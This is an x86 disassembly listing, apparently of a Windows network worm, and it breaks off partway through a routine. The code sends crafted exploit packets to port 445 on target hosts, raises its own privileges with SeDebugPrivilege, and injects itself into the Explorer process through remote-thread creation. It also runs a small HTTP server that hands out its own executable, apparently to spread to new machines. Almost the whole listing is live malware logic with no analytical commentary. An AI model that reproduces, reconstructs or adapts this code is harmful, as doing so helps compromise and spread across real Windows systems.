		call	sub_31422CF0
		mov	eax, dword_31424C84
		push	ebx
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		mov	[ebp+var_14], eax
		mov	eax, dword_31424C88
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edi
		call	dword_31421158	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_31421D61
		push	esi
		mov	esi, [ebp+arg_0]
		push	1Dh
		push	esi
		call	dword_3142115C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		call	dword_3142109C	; lstrcpyn
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset loc_31424C78
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_133]

loc_31421874:				; CODE XREF: sub_31421801+83j
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_31421874
		push	60h
		lea	eax, [ebp+var_E4]
		push	offset dword_31424798
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_31422CDC	; strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_B5]
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		add	al, 1Ah
		push	edi
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_E1]
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31422CDC	; strlen
		shl	al, 1
		add	al, 9
		push	edi
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_B7]
		push	eax
		call	sub_31422CE2	; memcpy
		push	0E29h
		lea	eax, [ebp+var_1F28]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 44h
		mov	[ebp+var_24], 2
		push	1BDh
		call	dword_31421160	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	[ebp+var_4]
		mov	[ebp+var_20], esi
		call	dword_31421164	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D57
		mov	esi, dword_31421094
		mov	edi, 0C8h
		push	edi
		call	esi	; Sleep
		push	ebx
		mov	ebx, dword_31421168
		push	89h
		push	offset dword_31424580
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0A8h
		push	offset dword_3142460C
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0DEh
		push	offset dword_314246B8
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		cmp	eax, 46h
		jl	loc_31421D4C
		cmp	[ebp+var_730], 31h
		jnz	loc_31421BF7
		and	[ebp+arg_0], 0
		push	7D0h
		lea	eax, [ebp+var_F44]
		push	90h
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		push	offset byte_314242B8
		call	dword_31421084	; lstrlen
		push	eax
		lea	eax, [ebp+var_EA4]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_31421084	; lstrlen
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_788]
		push	eax
		call	sub_31422CE2	; memcpy
		mov	eax, dword_31424BBE
		add	esp, 0Ch
		mov	[ebp+var_798], eax

loc_31421A98:				; CODE XREF: sub_31421801+4E1j
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	68h
		push	offset dword_314247FC
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0A0h
		push	offset dword_31424868
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		cmp	[ebp+arg_0], 0
		jz	loc_31421CE7
		push	68h
		lea	eax, [ebp+var_89E4]
		push	offset dword_31424A20
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_4834]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_897C]
		push	eax
		call	sub_31422CE2	; memcpy
		push	70h
		lea	eax, [ebp+var_690C]
		push	offset dword_31424A8C
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_37A0]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_689C]
		push	eax
		call	sub_31422CE2	; memcpy
		push	84h
		lea	eax, [ebp+var_5DD8]
		push	offset dword_31424B00
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89E4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_31421D4C
		push	0
		push	0FDCh
		lea	eax, [ebp+var_690C]
		jmp	loc_31421D3F
; ---------------------------------------------------------------------------

loc_31421BF7:				; CODE XREF: sub_31421801+22Bj
		push	0DACh
		lea	eax, [ebp+var_2CD8]
		push	90h
		push	eax
		mov	[ebp+arg_0], 1
		call	sub_31422CD6	; memset
		push	4
		lea	eax, [ebp+var_24F4]
		push	offset dword_31424BF8
		push	eax
		call	sub_31422CE2	; memcpy
		push	offset byte_314242B8
		call	sub_31422CDC	; strlen
		push	eax
		lea	eax, [ebp+var_24E4]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		push	4
		lea	eax, [ebp+var_21C0]
		push	offset loc_31424C70
		push	eax
		call	sub_31422CE2	; memcpy
		push	4
		lea	eax, [ebp+var_21BC]
		push	offset dword_31424BF8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 40h
		push	offset byte_314242B8
		call	sub_31422CDC	; strlen
		push	eax
		lea	eax, [ebp+var_21B0]
		push	offset byte_314242B8
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4833]

loc_31421C93:				; CODE XREF: sub_31421801+4A8j
		mov	dl, [ebp+ecx+var_2CD8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jl	short loc_31421C93
		and	[ebp+var_2CDC],	0
		and	[ebp+var_2CDB],	0
		push	1C52h
		lea	eax, [ebp+var_89E4]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		push	1C52h
		lea	eax, [ebp+var_690C]
		push	31h
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 18h
		jmp	loc_31421A98
; ---------------------------------------------------------------------------

loc_31421CE7:				; CODE XREF: sub_31421801+339j
		push	7Ch
		lea	eax, [ebp+var_1F28]
		push	offset dword_3142490C
		push	eax
		call	sub_31422CE2	; memcpy
		lea	eax, [ebp+var_F44]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1EAC]
		push	eax
		call	sub_31422CE2	; memcpy
		push	90h
		lea	eax, [ebp+var_16DC]
		push	offset dword_3142498C
		push	eax
		call	sub_31422CE2	; memcpy
		add	esp, 24h
		and	[ebp+var_1231],	0
		lea	eax, [ebp+var_1F28]
		push	0
		push	0CF8h

loc_31421D3F:				; CODE XREF: sub_31421801+3F1j
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		and	[ebp+var_C], 0

loc_31421D4C:				; CODE XREF: sub_31421801+1ADj
					; sub_31421801+1E1j ...
		push	2
		push	[ebp+var_4]
		call	dword_31421170	; shutdown

loc_31421D57:				; CODE XREF: sub_31421801+166j
		push	[ebp+var_4]
		call	dword_31421174	; closesocket
		pop	esi

loc_31421D61:				; CODE XREF: sub_31421801+37j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	ebx
		leave
		retn
sub_31421801	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421D68	proc near		; CODE XREF: UPX0:loc_31422376p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aAdvapi32 ; "advapi32"
		call	dword_314210A8	; LoadLibraryA
		mov	esi, dword_314210A4
		mov	edi, eax
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_31421DEC
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_31421DEC
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		call	esi	; GetProcAddress
		mov	esi, eax
		test	esi, esi
		jz	short loc_31421DEC
		lea	eax, [ebp+var_C]
		push	eax
		push	20h
		call	dword_314210A0	; GetCurrentProcess
		push	eax
		call	[ebp+var_4]
		lea	eax, [ebp+var_18]
		mov	[ebp+var_1C], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		mov	[ebp+var_10], 2
		call	[ebp+var_8]
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	0
		push	[ebp+var_C]
		call	esi	; GetProcAddress

loc_31421DEC:				; CODE XREF: sub_31421D68+28j
					; sub_31421D68+37j ...
		pop	edi
		pop	esi
		leave
		retn
sub_31421D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421DF0	proc near		; CODE XREF: UPX0:3142238Ap

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	ecx, dword_31425000
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	eax, [ecx+3Ch]
		push	edi
		add	eax, ecx
		push	offset aKernel32 ; "kernel32"
		mov	ecx, [eax+34h]
		mov	edi, [eax+50h]
		mov	[ebp+var_C], ecx
		call	dword_314210B4	; GetModuleHandleA
		mov	esi, dword_314210A4
		mov	ebx, eax
		push	offset aVirtualallocex ; "VirtualAllocEx"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_31421E37

loc_31421E33:				; CODE XREF: sub_31421DF0+54j
		push	1
		jmp	short loc_31421E88
; ---------------------------------------------------------------------------

loc_31421E37:				; CODE XREF: sub_31421DF0+41j
		push	offset aCreateremoteth ; "CreateRemoteThread"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_14], eax
		jz	short loc_31421E33
		push	0
		push	offset aShell_traywnd ;	"Shell_TrayWnd"
		call	dword_31421110	; FindWindowA
		test	eax, eax
		jnz	short loc_31421E65
		call	dword_31421114	; GetForegroundWindow
		test	eax, eax
		jnz	short loc_31421E65
		push	2
		jmp	short loc_31421E88
; ---------------------------------------------------------------------------

loc_31421E65:				; CODE XREF: sub_31421DF0+65j
					; sub_31421DF0+6Fj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	dword_31421118	; GetWindowThreadProcessId
		push	[ebp+var_8]
		push	0
		push	42Ah
		call	dword_314210B0	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_31421E8B
		push	3

loc_31421E88:				; CODE XREF: sub_31421DF0+45j
					; sub_31421DF0+73j
		pop	eax
		jmp	short loc_31421EF6
; ---------------------------------------------------------------------------

loc_31421E8B:				; CODE XREF: sub_31421DF0+94j
		push	4
		push	3000h
		push	edi
		push	[ebp+var_C]
		push	ebx
		call	[ebp+var_10]
		mov	esi, dword_3142107C
		test	eax, eax
		jz	short loc_31421EE9
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		push	eax
		push	eax
		push	ebx
		call	dword_314210AC	; WriteProcessMemory
		push	dword_31424FF4
		call	esi	; CloseHandle
		lea	eax, [ebp+var_18]
		xor	edi, edi
		push	eax
		push	edi
		push	1
		push	[ebp+arg_0]
		push	edi
		push	edi
		push	ebx
		call	[ebp+var_14]
		cmp	eax, edi
		jz	short loc_31421ED5
		push	eax
		call	esi	; CloseHandle
		jmp	short loc_31421EF0
; ---------------------------------------------------------------------------

loc_31421ED5:				; CODE XREF: sub_31421DF0+DEj
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	[ebp+var_4], 5
		jmp	short loc_31421EF0
; ---------------------------------------------------------------------------

loc_31421EE9:				; CODE XREF: sub_31421DF0+B2j
		mov	[ebp+var_4], 4

loc_31421EF0:				; CODE XREF: sub_31421DF0+E3j
					; sub_31421DF0+F7j
		push	ebx
		call	esi	; CloseHandle
		mov	eax, [ebp+var_4]

loc_31421EF6:				; CODE XREF: sub_31421DF0+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421EFB	proc near		; CODE XREF: sub_314221C4+Bp
					; UPX0:3142234Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		pusha
		rdtsc
		mov	[ebp+var_8], eax
		popa
		mov	[ebp+var_4], esp
		call	dword_314210B8	; GetTickCount
		mov	ecx, [ebp+var_4]
		imul	ecx, [ebp+var_8]
		add	eax, ecx
		push	eax
		call	dword_314210EC	; srand
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421F29	proc near		; CODE XREF: sub_31421DF0+EAp
					; UPX0:31422356p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	0
		call	dword_314210BC	; CreateMutexA
		retn
sub_31421F29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421F38	proc near		; CODE XREF: sub_314223B2+155p
					; sub_314223B2+160p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_314210C0	; CreateThread
		pop	ebp
		retn
sub_31421F38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421F52	proc near		; CODE XREF: sub_314221C4+12Cp
					; sub_314225C3+5Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_314210C0	; CreateThread
		push	eax
		call	dword_3142107C	; CloseHandle
		pop	ebp
		retn
sub_31421F52	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421F73	proc near		; CODE XREF: sub_314211A0+68p
					; sub_31422A9B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_31421F9B

loc_31421F84:				; CODE XREF: sub_31421F73+26j
		call	dword_314210FC	; rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_31421F84

loc_31421F9B:				; CODE XREF: sub_31421F73+Fj
		and	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_31421F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421FA3	proc near		; CODE XREF: sub_314211A0+105p

var_54		= dword	ptr -54h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		push	44h
		xor	esi, esi
		pop	edi
		lea	eax, [ebp+var_54]
		push	edi
		push	esi
		push	eax
		call	sub_31422CD6	; memset
		mov	ax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+var_54], edi
		push	[ebp+arg_0]
		push	esi
		call	dword_314210C4	; CreateProcessA
		push	[ebp+var_C]
		mov	esi, dword_3142107C
		mov	edi, eax
		call	esi	; CloseHandle
		push	[ebp+var_10]
		call	esi	; CloseHandle
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_31421FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421FF9	proc near		; CODE XREF: sub_3142264B+3Ep
					; sub_31422712+7p ...

var_34		= byte ptr -34h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		lea	eax, [ebp+var_34]
		push	31h
		push	eax
		call	dword_3142114C	; gethostname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_3142201A
		call	dword_31421150	; WSAGetLastError
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_3142201A:				; CODE XREF: sub_31421FF9+15j
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_31421154	; gethostbyname
		test	eax, eax
		jnz	short loc_3142202F
		mov	eax, 100007Fh
		leave
		retn
; ---------------------------------------------------------------------------

loc_3142202F:				; CODE XREF: sub_31421FF9+2Dj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		leave
		retn
sub_31421FF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422038	proc near		; CODE XREF: sub_314216A2+12p
					; sub_3142255F+22p ...

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	0
		push	eax
		call	dword_31421130	; InternetGetConnectedState
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn
sub_31422038	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142204E	proc near		; CODE XREF: sub_314223B2+E6p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	0
		push	2
		call	dword_314210CC	; OpenEventA
		test	eax, eax
		jz	short locret_31422067
		push	eax
		call	dword_314210C8	; SetEvent

locret_31422067:			; CODE XREF: sub_3142204E+10j
		retn
sub_3142204E	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422068	proc near		; CODE XREF: sub_314216A2+68p
		push	esi
		mov	esi, dword_314210FC
		push	edi
		call	esi	; rand
		mov	edi, eax
		shl	edi, 10h
		call	esi	; rand
		or	eax, edi
		pop	edi
		pop	esi
		retn
sub_31422068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142207E	proc near		; DATA XREF: sub_314221C4+127o

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_100]
		push	edi
		push	100h
		push	eax
		push	ebx
		call	dword_3142116C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_314220AF
		push	1
		jmp	loc_3142216A
; ---------------------------------------------------------------------------

loc_314220AF:				; CODE XREF: sub_3142207E+28j
		mov	esi, dword_31421104
		lea	eax, [ebp+var_100]
		push	offset aGet	; "GET"
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_3142217A
		lea	eax, [ebp+var_100]
		push	offset dword_314241F0
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_3142217A
		mov	esi, dword_31421168
		push	0
		push	3Dh
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"...
		push	ebx
		call	esi	; send
		push	dword_31424FF0
		lea	eax, [ebp+var_200]
		push	offset aContentLengthU ; "Content-Length: %u\r\n\r\n"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_31422CDC	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		call	esi	; send

loc_3142212C:				; CODE XREF: sub_3142207E+E8j
		mov	eax, dword_31424FF0
		mov	ecx, 1000h
		sub	eax, edi
		cmp	eax, ecx
		jb	short loc_3142213E
		mov	eax, ecx

loc_3142213E:				; CODE XREF: sub_3142207E+BCj
		test	eax, eax
		jz	short loc_3142216D
		push	0
		push	eax
		mov	eax, dword_31424FE8
		add	eax, edi
		push	eax
		push	ebx
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_31422168
		cmp	eax, 1000h
		jb	short loc_3142216D
		push	64h
		add	edi, eax
		call	dword_31421094	; Sleep
		jmp	short loc_3142212C
; ---------------------------------------------------------------------------

loc_31422168:				; CODE XREF: sub_3142207E+D5j
		push	2

loc_3142216A:				; CODE XREF: sub_3142207E+2Cj
		pop	eax
		jmp	short loc_314221BD
; ---------------------------------------------------------------------------

loc_3142216D:				; CODE XREF: sub_3142207E+C2j
					; sub_3142207E+DCj
		push	offset dword_31424FEC
		call	dword_314210D4	; InterlockedIncrement
		jmp	short loc_31422198
; ---------------------------------------------------------------------------

loc_3142217A:				; CODE XREF: sub_3142207E+49j
					; sub_3142207E+61j
		mov	esi, dword_31421168
		push	0
		push	15h
		push	offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n"
		push	ebx
		call	esi	; send
		push	0
		push	3
		push	offset dword_31424D38
		push	ebx
		call	esi	; send

loc_31422198:				; CODE XREF: sub_3142207E+FAj
		push	7D0h
		call	dword_31421094	; Sleep
		push	2
		push	ebx
		call	dword_31421170	; shutdown
		push	ebx
		call	dword_31421174	; closesocket
		push	0
		call	dword_314210D0	; ExitThread
		xor	eax, eax

loc_314221BD:				; CODE XREF: sub_3142207E+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_3142207E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314221C4	proc near		; DATA XREF: sub_314223B2+150o

var_130		= byte ptr -130h
var_28		= byte ptr -28h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		push	edi
		call	sub_31421EFB
		lea	eax, [ebp+var_130]
		push	104h
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		xor	ebx, ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	dword_31424FEC,	ebx
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	loc_314222F9
		push	esi
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_130]
		push	80000000h
		push	eax
		call	dword_31421080	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_31422230
		push	1
		call	dword_314210D0	; ExitThread

loc_31422230:				; CODE XREF: sub_314221C4+62j
		push	ebx
		push	esi
		call	dword_314210DC	; GetFileSize
		push	eax
		mov	dword_31424FF0,	eax
		call	sub_31422CA5
		pop	ecx
		mov	dword_31424FE8,	eax
		lea	ecx, [ebp+var_4]
		push	ebx
		push	ecx
		push	dword_31424FF0
		push	eax
		push	esi
		call	dword_314210D8	; ReadFile
		mov	eax, [ebp+var_4]
		push	esi
		mov	dword_31424FF0,	eax
		call	dword_3142107C	; CloseHandle
		push	ebx
		push	1
		push	2
		call	dword_31421158	; socket
		push	10h
		mov	edi, eax
		pop	esi
		lea	eax, [ebp+var_18]
		push	esi
		push	ebx
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], ebx

loc_31422292:				; CODE XREF: sub_314221C4+E5j
					; sub_314221C4+EDj ...
		call	dword_314210FC	; rand
		add	eax, 7D0h
		and	eax, 1FFFh
		cmp	al, bl
		mov	dword_31424FFC,	eax
		jz	short loc_31422292
		xor	ecx, ecx
		mov	cl, ah
		test	cl, cl
		jz	short loc_31422292
		push	eax
		call	dword_31421160	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		push	edi
		call	dword_31421140	; bind
		test	eax, eax
		jnz	short loc_31422292
		push	64h
		push	edi
		call	dword_31421144	; listen
		mov	[ebp+var_8], esi
		pop	esi

loc_314222DB:				; CODE XREF: sub_314221C4+133j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	dword_31421148	; accept
		push	eax
		push	offset sub_3142207E
		call	sub_31421F52
		pop	ecx
		pop	ecx
		jmp	short loc_314222DB
; ---------------------------------------------------------------------------

loc_314222F9:				; CODE XREF: sub_314221C4+3Dj
		push	ebx
		call	dword_314210D0	; ExitThread
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_314221C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422308	proc near		; CODE XREF: sub_314223B2:loc_314224FCp

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		lea	eax, [ebp+var_190]
		push	esi
		mov	esi, dword_3142113C
		push	eax
		push	2
		call	esi	; WSAStartup
		lea	eax, [ebp+var_190]
		push	eax
		push	102h
		call	esi	; WSAStartup
		pop	esi
		leave
		retn
sub_31422308	endp

; ---------------------------------------------------------------------------

loc_31422334:				; CODE XREF: UPX1:31427D08j
		push	0
		call	dword_314210B4	; GetModuleHandleA
		push	offset aFtpupd_exe ; "ftpupd.exe"
		mov	dword_31425000,	eax
		call	dword_31421074	; DeleteFileA
		call	sub_31421EFB
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	dword_31424FF4,	eax
		call	dword_314210E4	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_31422376
		push	1
		call	dword_314210E0	; ExitProcess

loc_31422376:				; CODE XREF: UPX0:3142236Cj
		call	sub_31421D68
		call	sub_314229E6
		call	sub_31422B67
		push	offset sub_314223B2
		call	sub_31421DF0
		test	eax, eax
		pop	ecx
		jz	short loc_3142239B
		push	0
		call	sub_314223B2

loc_3142239B:				; CODE XREF: UPX0:31422392j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3142239E	proc near		; CODE XREF: sub_314223B2:loc_31422525p
					; sub_3142255F:loc_31422578p ...
		push	0
		push	dword_31424FF8
		call	dword_31421070	; WaitForSingleObject
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_3142239E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314223B2	proc near		; CODE XREF: UPX0:31422396p
					; DATA XREF: UPX0:31422385o

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
